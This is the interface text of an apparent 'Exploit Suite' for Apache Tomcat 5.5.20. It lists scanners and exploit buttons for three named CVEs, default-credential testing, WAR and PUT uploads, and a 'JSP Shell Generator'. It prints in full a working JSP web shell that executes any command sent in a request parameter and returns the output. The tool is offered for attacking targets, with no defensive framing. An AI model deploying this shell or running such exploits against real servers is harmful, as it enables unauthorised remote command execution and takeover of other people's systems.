š Apache Tomcat 5.5.20
Exploit Suite | CVE-2007-2449, CVE-2007-5461, CVE-2009-3548
šÆ Target Configuration
Target URL:
Tomcat Manager Path:
š Vulnerability Scanner
š SCAN ALL VULNERABILITIES
CVE-2007-2449: Manager Auth Bypass
CVE-2007-5461: Directory Traversal
CVE-2009-3548: Admin Console
WebDAV / PUT Method Check
š Test Default Credentials
š Scan Common Tomcat Paths
š£ Exploits
š Manager Auth Bypass (CVE-2007-2449)
š Directory Traversal (CVE-2007-5461)
š¦ WAR File Upload (JSP Shell)
š Deploy JSP Shell via PUT
š Admin Console Bypass (CVE-2009-3548)
š JSP Shell Generator
<%@ page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); if(cmd != null) { out.println("<pre>"); Process p = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while((line = br.readLine()) != null) out.println(line); br = new BufferedReader(new InputStreamReader(p.getErrorStream())); while((line = br.readLine()) != null) out.println("ERR: "+line); out.println("</pre>"); } %> <form method="get"><input type="text" name="cmd" size="60"><input type="submit" value="Run"></form>
š Copy Shell Code
š Results
šļø Clear
Ready. Set target and click scan...